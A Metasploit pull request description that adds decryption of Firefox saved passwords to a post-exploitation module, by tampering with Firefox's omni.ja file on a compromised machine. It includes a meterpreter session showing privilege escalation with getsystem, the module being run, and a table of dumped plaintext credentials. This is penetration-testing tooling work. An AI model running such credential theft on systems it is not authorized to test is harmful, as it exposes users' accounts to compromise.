rapid7/metasploit-framework — pull request #1903 by xard4s (2013-06-03 19:11:55+00:00)
Title: Added firefox pw decryption support

This approach uses the XPCOM interfaces from Firefox. It involves downloading a ~6,5MB "zip" archive, modifying some files in it and uploading it back to the target machine. There is no cool local decryption. In my tests (local network) it took about ~40 seconds on windows meterpreter, which i think is acceptable. On the other hand, shell sessions are noticeable slower. It depends on the bandwidth.

Some things to note:

needs root on linux and win 7 +

running Firefox process is killed

if your session dies in the wrong moment,
this could leave Firefox in a non working state

Firefox version 10 and above

To test, set the DECRYPT option to true. Tested successfully on OS X Mountain Lion 10.8, Ubuntu 12.04, Windows XP,7,8. FreeBSD and Fedora 18 don't work.

meterpreter > sysinfo
Computer : FRESHD
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getsystem
...got system (via technique 1).
meterpreter >
Background session 2? [y/N]
msf exploit(handler) > use post/multi/gather/firefox_creds
msf post(firefox_creds) > set decrypt true
decrypt => true
msf post(firefox_creds) > set session 2
session => 2
msf post(firefox_creds) > run

[*] Determining session platform and type...
[*] Checking for Firefox directory in: C:\Program Files
[+] Found Firefox directory
[*] Downloading omni.ja from C:\Program Files\Mozilla Firefox\
[*] Writing omni.ja to local file: /tmp/FCseLS.ja
[*] Extracting and modifying FCseLS.ja...
[*] Successfully modified FCseLS.ja
[*] Uploading FCseLS.ja to C:\Program Files\Mozilla Firefox\
[*] Starting Firefox process
[+] Downloading loot: C:\Users\xardas\AppData\Local\Temp\bEdlxw.txt

Firefox credentials
===================

Hostname User Password
-------- ---- --------
http://forums.zpanelcp.com PS2Guy invincible
https://twitter.com info@ap.org S3cur!ty

[*] Post module execution completed
msf post(firefox_creds) >